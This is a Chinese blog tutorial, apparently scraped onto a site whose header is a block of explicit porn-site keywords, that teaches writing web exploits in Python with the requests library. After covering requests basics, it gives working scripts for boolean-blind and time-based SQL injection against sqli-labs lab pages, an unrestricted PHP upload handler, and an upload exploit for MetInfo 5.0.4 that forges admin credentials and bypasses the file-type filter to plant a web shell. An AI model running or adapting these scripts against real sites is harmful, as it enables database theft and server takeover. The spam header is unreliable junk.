日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

061 python实现EXP

發布時間:2024/3/12 python 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 061 python实现EXP 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

  • 一:概述
  • 二:環境準備
  • 三:requests庫
    • 3.1:發送get請求
    • 3.2:相關方法
    • 3.3:相關操作
      • 3.3.1:定制頭部
      • 3.3.2:超時
      • 3.3.3:GET傳參
      • 3.3.4:post參數
      • 3.3.5:文件上傳
      • 3.3.6:重定向
      • 3.3.7:cookie
  • 四:python實現布爾盲注
  • 五:python實現延時注入
  • 六:python實現文件上傳

一:概述

python編寫EXP,以web漏洞為主
exp 漏洞利用工具
1、能夠看懂別人寫的exp,并修改
2、能自己寫exp

基礎環境python3 核心模塊requests模塊說明requests是使用Apache2 license 許可證的http庫用python編寫,比urllib2模塊更簡潔requests支持http連接保持和連接池,支持使用cookie保持會話,支持文件上傳,支持自動響應內容的編碼,支持國際化的URL和post數據自動編碼。內置模塊的基礎上進行了高度的封裝,從而使得python進行網絡請求時,變得人性化,使用request可以輕而易舉的完成瀏覽器可有的任何操作。

?

二:環境準備

下載一個Python解釋器,官網下載,這里以3.9版本為例
https://www.python.org/ftp/python/3.9.0/python-3.9.0-amd64.exe

這里有一篇怎么安裝第三方庫requests
https://www.cnblogs.com/testerlina/p/12466124.html
亦或是,cmd運行窗口:pip install requests

怎么才算安裝完成呢?當你輸入import requests沒有任何提示的時候,就說明安裝完成了。

準備一臺win2008,開啟phpstudy服務,并且在www目錄下創建一個python_test的文件夾,文件夾里有個get.php文件
文件內容如下:

?

三:requests庫

速查http方法GET 獲取資源POST 傳輸實體主體PUT 傳輸文件HEAD 獲得響應報文首部DELETE 刪除文件OPTIONS 查詢支持的方法TRACE 追蹤路徑CONNECT 要求用隧道協議連接代理LINK 建立和資源之間的連接UNLINK 斷開連接關系requests模塊中的http方法res = requests.get()res = requests.post()res = requests.put()res = requests.delete()res = requests.head()res = requests.options()參數GET參數 paramsHTTP頭部 headersPOST參數 data文件 filesCookies cookies重定向處理 allow_redirects = False/True超時 timeout證書驗證 verify = False/True工作流(延遲下載) stream=False/True事件掛鉤 hooks=dict(response=)身份驗證 auth=代理 proxies=對象方法URL .urltext .text編碼 .encoding|.encoding=響應內容 .contentJson解碼器 .json原始套接字響應 .raw|.ras.read()(需要開啟stream=True)歷史響應代碼 .history拋出異常 .raise_for_status()查看服務器響應頭 .headers查看客戶端請求頭 .request.headers查看Cookie .cookies身份驗證 .auth=更新 .update解析連接字頭 .links[]

?

3.1:發送get請求

requests.get("http://192.168.152.136/python_test/get.php")

3.2:相關方法

獲取正文 res.text 獲取響應狀態碼 res.status_code 獲取響應編碼 res.encoding 以二進制方式獲取響應正文 res.content 獲取響應頭部 res.headers 獲取提交的url(包括get參數) res.url 獲取發送到服務器的頭信息 res.request.headers

3.3:相關操作

3.3.1:定制頭部

重新定義頭部信息(User-Agent)信息

>>> import requests >>> url = "http://192.168.152.136/python_test/get.php" >>> header = {"User-Agent":"Q_Q"} >>> res = requests.get(url=url,headers=header) >>> print(res.request.headers) {'User-Agent': 'Q_Q', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}

?

3.3.2:超時

在win2008上新建一個timeout.php文件,如下圖:

新建一個文件,命名為timeout.py

代碼內容:

import requests url = "http://192.168.152.136/python_test/timeout.php" try:res = resquests.get(url=url,timeout=3)print(res.text) except Exception as e:print("Timeout!")

保存在桌面,然后按F5運行。

3.3.3:GET傳參

getpara.py

import requests url = "http://192.168.152.136/python_test/get.php" get_para = {"name":"q_q","password":"123"} res = requests.get(url=url,params=get_para) print(res.text) print(res.url)

3.3.4:post參數

post.php 內容:

<?phpvar_dump($_POST); ?>

3.3.5:文件上傳

uploadfile.py 內容:

import requests url = "http://192.168.100.250/python_test/uploadfile.php" upload_file = {"userUpFile":open("postData.py", "rb")} postData = {"userSubmit":"上傳"} res = requests.post(url=url, files=upload_file, data=postData) print(res.text)

uploadfile.php 內容:

<html><meta charset="utf-8"><h1>文件上傳測試</h1><formaction=""method="post"enctype="multipart/form-data"><input type="file" name="userUpFile"><input type="submit" name="userSubmit" value="上傳"></form> </html> <?phpecho "<pre>";if(isset($_POST['userSubmit'])){var_dump($_FILES);$tmp_path=$_FILES['userUpFile']['tmp_name']; # 文件名$path=__DIR__."\\".$_FILES['userUpFile']['name']; # 絕對路徑+文件名// echo $tmp_path;// echo "<hr />";// echo $path;// echo "<br />";if(move_uploaded_file($tmp_path,$path)){// move_uploaded_file(參數1,參數2);將上傳的緩存文件的目錄(參數1)保存到參數2目錄下echo "upfile success!";echo "<br />".$_FILES['userUpFile']['name'];echo $path;}else{echo "upfile failed";}} ?>

效果圖

3.3.6:重定向

chongdingxiang.php內容:

<?php header('location:./get.php'); echo "this is chongdingxiang page!!!"; ?>

chongdingxiang.py內容:

import requests url = "http://192.168.100.250/python_test/chongdingxiang.php" res = requests.get(url=url) print(res.text) print(res.history)res = requests.get(url=url,allow_redirects=False) print(res.headers) print(res.text)

效果如下圖:

3.3.7:cookie

cookie.php內容:

<?php var_dump($_COOKIE); ?>

cookies.py內容:

import requests url = "http://192.168.100.250/python_test/cookie.php" coo = {"name":"q_q"} res = requests.get(url=url, cookies=coo) print(res.text)

效果圖

?

四:python實現布爾盲注

以sqli-labs-master-8為例:
首先布爾盲注知識點筆記回顧:

原理:利用頁面返回的布爾類型狀態,正常或者不正常 獲取數據庫名:數據庫名長度[?id=33 and length(database())=1 --+]...[?id=33 and length(database())=3 --+]可以斷定,當前數據庫名的長度為3。數據庫名[?id=33 and ascii(substr(database(),1,1))=99 --+]由此可知數據庫名的第一個字母的ascii碼為99,即是字母c。

存在布爾盲注,那么怎么來判斷布爾盲注狀態呢?

盲注是利用的頁面回顯的內容來進行判斷的,那么我們只需要確定頁面不一致即可,所以只需要通過Python計算頁面的字符的長度即可判斷頁面是否發生了變化。

sqli-labs-8.py源碼:

import requestsurl = "http://192.168.100.250/sqli-labs-master/Less-8/" # 計算頁面長度 normal_html_len = len(requests.get(url=url + "?id=1").text) print("the len of html: " + str(normal_html_len))# 獲取數據庫名長度 db_name_len = 0 while 1:# and左右兩邊的+是用來代替瀏覽器地址的空格db_name_len_url = url + "?id=1'+and+length(database())=" + str(db_name_len) + "--+"print(db_name_len_url)if len(requests.get(db_name_len_url).text) == normal_html_len:print("database len: " + str(db_name_len))breakelse:if db_name_len <= 30:db_name_len += 1else:print("error, database not exist")break# 獲取數據庫名 # ascii取值范圍a-z:97-122 db_name = "" for i in range(1, db_name_len + 1): # 長度等于8,左閉右開區間for j in range(97, 123):db_name_url = url + "?id=1'+and+ascii(substr(database()," + str(i) + ",1))=" + str(j) + "--+"print(db_name_url)if len(requests.get(db_name_url).text) == normal_html_len:db_name += chr(j) # 把ascii碼的數字轉換為字母breakprint("db_name is : ", db_name)

測試結果圖:

?

五:python實現延時注入

以sqli-labs-9為例:
同樣的,首先回顧下延時注入的知識點筆記:

原理:利用sleep()語句的延時性,以時間線做為判斷條件。 獲取數據庫名獲取數據庫名長度[?id=33 and if((length(database())=3),sleep(5),1)--+]數據庫名第二位[?id=33 and if((ascii(substr(database(),2,1))=109),sleep(5),1)--+]由此可知,數據庫名第二個字母的ASCII碼值為109,即是字母m。

sqli-labs-9.py源碼:

import requests import string # 導入string模塊,是為了用里面的a-z的方法url = "http://192.168.100.250/sqli-labs-master/Less-9/"def timeout(url):try:res = requests.get(url, timeout=3) # 設置瀏覽器的訪問時間,timeout是get里面的參數,不能換成其他的return res.text # 返回html頁面內容except Exception as e:return "timeout" # 返回timeout,表示延時注入成功。db_name_len = 1 while 1:# 延遲5秒注入db_name_len_url = url + "?id=1'+and+if((length(database())=" + str(db_name_len) + "), sleep(5), 1)--+"print(db_name_len_url)if "timeout" in timeout(db_name_len_url):print("db_name_len is: ", db_name_len)breakelse:db_name_len += 1if db_name_len == 30:print("error, db_name_len is error")break''' 上面得到數據庫長度為8,接下來獲取數據庫名 ''' db_name = "" for i in range(1, 9):for j in string.ascii_lowercase: # string.ascii_lowercase:a-zdb_name_url = url + "?id=1'+and+if((substr(database(), " + str(i) + ", 1)='" + j + "'), sleep(5), 1)--+"print(db_name_url)if "timeout" in timeout(db_name_url):db_name += jprint("db_name is : ", db_name)break

效果圖:

?

六:python實現文件上傳

關于argv的解釋:
給個大佬的鏈接:
https://www.cnblogs.com/aland-1415/p/6613449.html

重要部分的截圖

import requests import sys# 大概解釋:sys.argv[] 可以看到做是一個數組,sys.argv[0]代表的自己本身,sys.argv[1]代表的是后面的第一個參數,依次類推。 url = sys.argv[1] path = sys.argv[2] # 這是表單地址 post_url = url+"http://192.168.100.250/metinfov504/metinfov504/admin/include/uploadify.php?metinfo_admin_id=aaa&metinfo_admin_pass=123.com&met_admin_table=met_admin_table%23&type=upfile&met_file_format=jpg|pphphp" up_file = {"FileData":open(path, "rb")} res = requests.post(url=post_url, files=up_file) print("The Shell path:"+url+res.text[4:]) # 做一個地址切片處理

總結

以上是生活随笔為你收集整理的061 python实现EXP的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。